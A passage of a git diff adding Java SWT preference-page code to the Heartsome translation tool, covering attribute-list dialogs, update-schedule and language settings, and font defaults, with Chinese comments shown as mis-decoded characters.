Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg9")); + return; + } + String[] arrAttrVal = attrValList.getItems(); + InputDialog dialog = new InputDialog(getShell(), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.title3"), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl3"), null, + new InputValidator(ATTRVAL_ADD, new ArrayList(Arrays.asList(arrAttrVal)))); + if (dialog.open() == IDialogConstants.OK_ID) { + String attrVal = dialog.getValue().trim(); + attrValList.add(attrVal); + String attrName = attrNameList.getSelection()[0]; + mapAttr.get(attrName).add(attrVal); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnAttrValEdit.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (attrValList.getSelectionCount() <= 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg10")); + return; + } else if (attrValList.getSelectionCount() > 1) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg11")); + return; + } else { + int selIndex = attrValList.getSelectionIndex(); + String selVal = attrValList.getSelection()[0]; + String attrName = attrNameList.getSelection()[0]; + ArrayList lstAttrVal = new ArrayList(Arrays.asList(attrValList.getItems())); + lstAttrVal.remove(selVal); + InputDialog dialog = new InputDialog(getShell(), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.title6"), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl3"), selVal, + new InputValidator(ATTRVAL_ADD, lstAttrVal)); + if (dialog.open() == IDialogConstants.OK_ID) { + String attrVal = dialog.getValue().trim(); + attrValList.remove(selIndex); + attrValList.add(attrVal, selIndex); + attrValList.select(selIndex); + lstAttrVal = mapAttr.get(attrName); + lstAttrVal.set(selIndex, attrVal); + } + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnAttrValDel.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (attrNameList.getSelectionCount() != 1) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg9")); + return; + } + if (attrValList.getSelectionCount() == 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg8")); + return; + } + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle1"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg1"))) { + String attrName = attrNameList.getSelection()[0]; + String[] arrSelVal = attrValList.getSelection(); + mapAttr.get(attrName).removeAll(new ArrayList(Arrays.asList(arrSelVal))); + attrValList.remove(attrValList.getSelectionIndices()); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + private class InputValidator implements IInputValidator { + + private int type; + + private ArrayList lstValue; + + public InputValidator(int type, ArrayList lstValue) { + this.type = type; + this.lstValue = lstValue; + } + + public String isValid(String newText) { + if (newText == null || newText.equals("")) { + return ""; + } else if (newText.trim().equals("")) { + if (type == FIELD_ADD) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg12"); + } else if (type == ATTRNAME_ADD) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg13"); + } else if (type == ATTRVAL_ADD) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg14"); + } + return ""; + } else if (newText.trim().length() > 50) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg15"); + } else if (lstValue.contains(newText.trim())) { + if (type == FIELD_ADD) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg5"); + } else if (type == ATTRNAME_ADD) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg6"); + } else if (type == ATTRVAL_ADD) { + return Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg7"); + } + } + return null; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/SystemPreferenceInitializer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/SystemPreferenceInitializer.java new file mode 100644 index 0000000..afe7be9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/SystemPreferenceInitializer.java @@ -0,0 +1,97 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.graphics.FontData; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 首选项的系统项设置默认值的类 + * @author peason + * @version + * @since JDK1.6 + */ +public class SystemPreferenceInitializer extends AbstractPreferenceInitializer { + + private static final Logger LOGGER = LoggerFactory.getLogger(SystemPreferenceInitializer.class); + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(IPreferenceConstants.SYSTEM_AUTO_UPDATE, IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY); + store.setDefault(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE, 2); + store.setDefault(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN); + // 默认语言从产å“çš„ ini 文件中å–值 + Location configArea = Platform.getInstallLocation(); + String locale = "en"; + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + LOGGER.error(Messages.getString("preferencepage.SystemPreferenceInitializer.logger1"), e); + } + + try { + String fileName = location.getFile(); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + boolean isNl = false; + String line = in.readLine(); + while (line != null) { + if (line.startsWith("osgi.nl=")) { + isNl = true; + locale = line.substring("osgi.nl=".length()).trim(); + break; + } + line = in.readLine(); + } + in.close(); + if (!isNl) { + locale = "en"; + } + } catch (FileNotFoundException e) { + LOGGER.error(Messages.getString("preferencepage.SystemPreferenceInitializer.logger1"), e); + } catch (IOException e) { + LOGGER.error("", e); + } + if (locale != null) { + if (locale.startsWith("en")) { + CommonFunction.setSystemLanguage("en"); + store.setValue(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN); + } else if (locale.startsWith("zh")) { + CommonFunction.setSystemLanguage("zh"); + store.setValue(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN); + } + } + store.setDefault(IPreferenceConstants.SYSTEM_USER, System.getProperty("user.name")); + + FontData fd = JFaceResources.getDefaultFont().getFontData()[0]; + store.setDefault(IPreferenceConstants.XLIFF_EDITOR_FONT_NAME, fd.getName()); + int fontSize = fd.getHeight(); + store.setDefault(IPreferenceConstants.XLIFF_EDITOR_FONT_SIZE, fontSize < 13 ? 13 : fontSize); + + store.setDefault(IPreferenceConstants.MATCH_VIEW_FONT_NAME, fd.getName()); + store.setDefault(IPreferenceConstants.MATCH_VIEW_FONT_SIZE, fontSize < 13 ? 13 : fontSize); + + store.setDefault(IPreferenceConstants.XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER, false); + + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/SystemPreferencePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/SystemPreferencePage.java new file mode 100644 index 0000000..298cbf5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/SystemPreferencePage.java @@ -0,0 +1,562 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; + +import net.heartsome.cat.common.ui.HSFontSettingComposite; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.resource.ImageConstant; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.eclipse.ui.PlatformUI; + +/** + * é¦–é€‰é¡¹çš„ç³»ç»Ÿç•Œé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class SystemPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.preferencepage.SystemPreferencePage"; + + private IPreferenceStore preferenceStore; + + /** å¯åŠ¨æ—¶æ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithStartup; + + /** æ¯æœˆæ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithMonthly; + + /** æ¯å‘¨æ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithWeekly; + + /** 从ä¸æ£€æŸ¥æ›´æ–°å•é€‰æŒ‰é’® */ + private Button btnCheckUpdateWithNever; + + /** 日期选择按钮 */ + private Spinner selectDateSpi; + + /** 星期选择按钮 */ + private Combo cmbSelectWeek; + + /** 用户界é¢è¯­è¨€ > 英文å•é€‰æŒ‰é’® */ + private Button btnLanguageWithEN; + + /** 用户界é¢è¯­è¨€ > 中文å•é€‰æŒ‰é’® */ + private Button btnLanguageWithZHCN; + + /** 系统用户文本框 */ + private Text txtSystemUser; + + private HSFontSettingComposite editorFontSetting; + private HSFontSettingComposite matchViewFontSetting; + + /** 组件是å¦åˆå§‹åŒ– --robert */ + private boolean isInit = false; + + private Composite cmpMonthly; + + private Composite cmpWeekly; + + private String[] arrWeek = new String[] { Messages.getString("preferencepage.SystemPreferencePage.Sun"), + Messages.getString("preferencepage.SystemPreferencePage.Mon"), + Messages.getString("preferencepage.SystemPreferencePage.Tue"), + Messages.getString("preferencepage.SystemPreferencePage.Wed"), + Messages.getString("preferencepage.SystemPreferencePage.Thu"), + Messages.getString("preferencepage.SystemPreferencePage.Fri"), + Messages.getString("preferencepage.SystemPreferencePage.Sat"), }; + + /** åˆå§‹è¯­è¨€ */ + private int initLang; + + /** + * 构造函数 + */ + public SystemPreferencePage() { + setTitle(Messages.getString("preferencepage.SystemPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupCommon = new Group(tparent, SWT.NONE); + groupCommon.setLayout(new GridLayout()); + groupCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupCommon.setText(Messages.getString("preferencepage.SystemPreferencePage.groupCommon")); + + HsImageLabel imageLabel1 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.imageLabel1"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_UPDATE)); + Composite cmpCommon = imageLabel1.createControl(groupCommon); + cmpCommon.setLayout(new GridLayout()); + cmpCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnCheckUpdateWithStartup = new Button(cmpCommon, SWT.RADIO); + btnCheckUpdateWithStartup.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup")); + GridDataFactory.fillDefaults().applyTo(btnCheckUpdateWithStartup); + btnCheckUpdateWithStartup.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (btnCheckUpdateWithStartup.getSelection()) { + btnCheckUpdateWithMonthly.setSelection(false); + btnCheckUpdateWithWeekly.setSelection(false); + btnCheckUpdateWithNever.setSelection(false); + selectDateSpi.setEnabled(false); + cmbSelectWeek.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + cmpMonthly = new Composite(cmpCommon, SWT.None); + GridLayoutFactory.swtDefaults().numColumns(3).equalWidth(false).margins(0, 0).spacing(0, 0).applyTo(cmpMonthly); + cmpMonthly.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCheckUpdateWithMonthly = new Button(cmpMonthly, SWT.RADIO); + btnCheckUpdateWithMonthly.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1")); + GridData spinnaData = new GridData(); + spinnaData.widthHint = 20; + selectDateSpi = new Spinner(cmpMonthly, SWT.BORDER); + selectDateSpi.setMinimum(1); + selectDateSpi.setMaximum(31); + selectDateSpi.setTextLimit(2); + selectDateSpi.setEnabled(false); + selectDateSpi.setLayoutData(spinnaData); + selectDateSpi.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String text = selectDateSpi.getText(); + if (text != null && !text.trim().equals("")) { + if (Integer.parseInt(text.trim()) > 31) { + selectDateSpi.setSelection(31); + } else if (Integer.parseInt(text.trim()) < 1) { + selectDateSpi.setSelection(1); + } + } + } + }); + new Label(cmpMonthly, SWT.None).setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2")); + btnCheckUpdateWithMonthly.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + selectDateSpi.setEnabled(btnCheckUpdateWithMonthly.getSelection()); + if (btnCheckUpdateWithMonthly.getSelection()) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithWeekly.setSelection(false); + btnCheckUpdateWithNever.setSelection(false); + cmbSelectWeek.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + cmpWeekly = new Composite(cmpCommon, SWT.None); + GridLayoutFactory.swtDefaults().numColumns(3).equalWidth(false).margins(0, 0).spacing(0, 0).applyTo(cmpWeekly); + cmpWeekly.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCheckUpdateWithWeekly = new Button(cmpWeekly, SWT.RADIO); + btnCheckUpdateWithWeekly.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1")); + cmbSelectWeek = new Combo(cmpWeekly, SWT.READ_ONLY); + cmbSelectWeek.setItems(arrWeek); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + GridDataFactory.swtDefaults().applyTo(cmbSelectWeek); + new Label(cmpWeekly, SWT.NONE).setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2")); + btnCheckUpdateWithWeekly.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + cmbSelectWeek.setEnabled(btnCheckUpdateWithWeekly.getSelection()); + if (btnCheckUpdateWithWeekly.getSelection()) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(false); + btnCheckUpdateWithNever.setSelection(false); + selectDateSpi.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + btnCheckUpdateWithNever = new Button(cmpCommon, SWT.RADIO); + btnCheckUpdateWithNever.setText(Messages + .getString("preferencepage.SystemPreferencePage.btnCheckUpdateWithNever")); + btnCheckUpdateWithNever.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridDataFactory.fillDefaults().applyTo(btnCheckUpdateWithNever); + btnCheckUpdateWithNever.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (btnCheckUpdateWithNever.getSelection()) { + btnCheckUpdateWithMonthly.setSelection(false); + btnCheckUpdateWithWeekly.setSelection(false); + btnCheckUpdateWithStartup.setSelection(false); + selectDateSpi.setEnabled(false); + cmbSelectWeek.setEnabled(false); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Group groupLanguage = new Group(tparent, SWT.NONE); + groupLanguage.setLayout(new GridLayout()); + groupLanguage.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupLanguage.setText(Messages.getString("preferencepage.SystemPreferencePage.groupLanguage")); + + HsImageLabel imageLabel2 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.imageLabel3"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_LANGUAGE)); + Composite cmpLang = imageLabel2.createControl(groupLanguage); + cmpLang.setLayout(new GridLayout()); + cmpLang.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnLanguageWithEN = new Button(cmpLang, SWT.RADIO); + btnLanguageWithEN.setText(Messages.getString("preferencepage.SystemPreferencePage.btnLanguageWithEN")); + btnLanguageWithEN.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnLanguageWithZHCN = new Button(cmpLang, SWT.RADIO); + btnLanguageWithZHCN.setText(Messages.getString("preferencepage.SystemPreferencePage.btnLanguageWithZHCN")); + btnLanguageWithZHCN.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Group groupFont = new Group(tparent, SWT.NONE); + groupFont.setLayout(new GridLayout()); + groupFont.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupFont.setText(Messages.getString("preferencepage.SystemPreferencePage.groupFont")); + HsImageLabel imageLabel4 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.groupFont.desc"), + Activator.getImageDescriptor("images/preference/system/font.png")); + Composite cmpFont = imageLabel4.createControl(groupFont); + GridLayout cmpFontGl = new GridLayout(2, true); + cmpFontGl.marginLeft = 0; + cmpFontGl.marginRight = 0; + cmpFontGl.marginTop = 0; + cmpFontGl.marginBottom = 0; + cmpFontGl.marginWidth = 0; + cmpFontGl.marginHeight = 0; + cmpFont.setLayout(cmpFontGl); + GridData cmpFontGd = new GridData(SWT.FILL, SWT.FILL, true, true); + cmpFont.setLayoutData(cmpFontGd); + + editorFontSetting = new HSFontSettingComposite(cmpFont, SWT.NONE, + Messages.getString("preferencepage.fontsetting.editor.title")); + GridData gd = new GridData(SWT.FILL, SWT.FILL, true, true); + editorFontSetting.setLayoutData(gd); + matchViewFontSetting = new HSFontSettingComposite(cmpFont, SWT.NONE, + Messages.getString("preferencepage.fontsetting.matchView.title")); + matchViewFontSetting.setLayoutData(gd); + + Group groupSystemUser = new Group(tparent, SWT.NONE); + groupSystemUser.setLayout(new GridLayout()); + groupSystemUser.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupSystemUser.setText(Messages.getString("preferencepage.SystemPreferencePage.groupSystemUser")); + + HsImageLabel imageLabel3 = new HsImageLabel( + Messages.getString("preferencepage.SystemPreferencePage.imageLabel4"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_USER)); + Composite cmpUser = imageLabel3.createControl(groupSystemUser); + cmpUser.setLayout(new GridLayout(2, false)); + cmpUser.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + new Label(cmpUser, SWT.NONE).setText(Messages.getString("preferencepage.SystemPreferencePage.lblUser")); + + txtSystemUser = new Text(cmpUser, SWT.BORDER); + txtSystemUser.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + imageLabel1.computeSize(); + imageLabel2.computeSize(); + imageLabel3.computeSize(); + imageLabel4.computeSize(); + setInitValues(false); + return parent; + } + + @Override + protected void performDefaults() { + setInitValues(true); + } + + /** + * ä¿®æ”¹äº§å“ ini 文件中的语言 + */ + private void changeLocale(String locale) { + Location configArea = Platform.getInstallLocation(); + if (configArea == null) { + return; + } + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + } + // System.out.println("LanguageSwitchHandler.loadConfigurationInfo(): " + // + location); + + try { + String fileName = location.getFile(); + File file = new File(fileName); + fileName += ".bak"; + file.renameTo(new File(fileName)); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + BufferedWriter out = new BufferedWriter(new FileWriter(location.getFile())); + try { + String line = in.readLine(); + while (line != null) { + if (line.startsWith("osgi.nl=")) { + out.write("osgi.nl=" + locale); + } else { + out.write(line); + } + out.newLine(); + line = in.readLine(); + } + out.flush(); + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (out != null) { + try { + out.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + File tmpFile = new File(location.getFile() + ".bak"); + if (tmpFile.exists()) { + tmpFile.delete(); + } + } + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + + if (btnCheckUpdateWithStartup.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_STARTUP); + } else if (btnCheckUpdateWithMonthly.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY); + preferenceStore.setValue(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE, + selectDateSpi.getSelection()); + } else if (btnCheckUpdateWithWeekly.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY); + preferenceStore.setValue(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE, + cmbSelectWeek.getSelectionIndex() + 1); + } else if (btnCheckUpdateWithNever.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_AUTO_UPDATE, + IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_NEVER); + } + + preferenceStore.setValue(IPreferenceConstants.SYSTEM_USER, + txtSystemUser.getText() == null ? "" : txtSystemUser.getText()); + + if (btnLanguageWithEN.getSelection()) { + preferenceStore + .setValue(IPreferenceConstants.SYSTEM_LANGUAGE, IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN); + CommonFunction.setSystemLanguage("en"); + if (initLang != IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN) { + changeLocale("en"); + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.SystemPreferencePage.msgTitle"), + Messages.getString("preferencepage.SystemPreferencePage.msgInfo"))) { + PlatformUI.getWorkbench().restart(); + } + } + } else if (btnLanguageWithZHCN.getSelection()) { + preferenceStore.setValue(IPreferenceConstants.SYSTEM_LANGUAGE, + IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN); + CommonFunction.setSystemLanguage("zh"); + if (initLang != IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN) { + changeLocale("zh"); + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.SystemPreferencePage.msgTitle"), + Messages.getString("preferencepage.SystemPreferencePage.msgInfo"))) { + PlatformUI.getWorkbench().restart(); + } + } + } + + FontData[] fontData = editorFontSetting.getFontSetingFont(); + JFaceResources.getFontRegistry().put(Constants.XLIFF_EDITOR_TEXT_FONT, fontData); + preferenceStore.setValue(IPreferenceConstants.XLIFF_EDITOR_FONT_NAME, fontData[0].getName()); + preferenceStore.setValue(IPreferenceConstants.XLIFF_EDITOR_FONT_SIZE, fontData[0].getHeight()); + + fontData = matchViewFontSetting.getFontSetingFont(); + JFaceResources.getFontRegistry().put(Constants.MATCH_VIEWER_TEXT_FONT, fontData); + preferenceStore.setValue(IPreferenceConstants.MATCH_VIEW_FONT_NAME, fontData[0].getName()); + preferenceStore.setValue(IPreferenceConstants.MATCH_VIEW_FONT_SIZE, fontData[0].getHeight()); + + return true; + } + + /** + * 对控件设置值 + * @param blnIsApplyDefault + * ; + */ + private void setInitValues(boolean blnIsApplyDefault) { + int intAutoUpdate; + int intLanguage; + String strSystemUser; + String strEditorFontName; + int intEdutorFontSize; + String strMatchViewFontName; + int intMatchViewFontSize; + if (blnIsApplyDefault) { + intAutoUpdate = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_AUTO_UPDATE); + intLanguage = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_LANGUAGE); + strSystemUser = preferenceStore.getDefaultString(IPreferenceConstants.SYSTEM_USER); + strEditorFontName = preferenceStore.getDefaultString(IPreferenceConstants.XLIFF_EDITOR_FONT_NAME); + intEdutorFontSize = preferenceStore.getDefaultInt(IPreferenceConstants.XLIFF_EDITOR_FONT_SIZE); + strMatchViewFontName = preferenceStore.getDefaultString(IPreferenceConstants.MATCH_VIEW_FONT_NAME); + intMatchViewFontSize = preferenceStore.getDefaultInt(IPreferenceConstants.MATCH_VIEW_FONT_SIZE); + } else { + intAutoUpdate = preferenceStore.getInt(IPreferenceConstants.SYSTEM_AUTO_UPDATE); + intLanguage = preferenceStore.getInt(IPreferenceConstants.SYSTEM_LANGUAGE); + initLang = intLanguage; + strSystemUser = preferenceStore.getString(IPreferenceConstants.SYSTEM_USER); + strEditorFontName = preferenceStore.getString(IPreferenceConstants.XLIFF_EDITOR_FONT_NAME); + intEdutorFontSize = preferenceStore.getInt(IPreferenceConstants.XLIFF_EDITOR_FONT_SIZE); + strMatchViewFontName = preferenceStore.getString(IPreferenceConstants.MATCH_VIEW_FONT_NAME); + intMatchViewFontSize = preferenceStore.getInt(IPreferenceConstants.MATCH_VIEW_FONT_SIZE); + } + if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_STARTUP) { + btnCheckUpdateWithStartup.setSelection(true); + btnCheckUpdateWithMonthly.setSelection(false); + selectDateSpi.setEnabled(false); + selectDateSpi.setSelection(1); + btnCheckUpdateWithWeekly.setSelection(false); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + btnCheckUpdateWithNever.setSelection(false); + } else if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(true); + btnCheckUpdateWithWeekly.setSelection(false); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + btnCheckUpdateWithNever.setSelection(false); + int selDate; + if (blnIsApplyDefault) { + selDate = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE); + } else { + selDate = preferenceStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE); + } + selectDateSpi.setEnabled(true); + selectDateSpi.setSelection(selDate); + } else if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(false); + selectDateSpi.setEnabled(false); + selectDateSpi.setSelection(1); + btnCheckUpdateWithWeekly.setSelection(true); + btnCheckUpdateWithNever.setSelection(false); + int selWeek; + if (blnIsApplyDefault) { + selWeek = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE); + } else { + selWeek = preferenceStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE); + } + cmbSelectWeek.setEnabled(true); + // ArrayList list = new ArrayList(Arrays.asList(arrWeek)); + cmbSelectWeek.select(selWeek - 1); + } else if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_NEVER) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(false); + selectDateSpi.setEnabled(false); + btnCheckUpdateWithWeekly.setSelection(false); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + btnCheckUpdateWithNever.setSelection(true); + } + + if (intLanguage == IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN) { + btnLanguageWithEN.setSelection(true); + 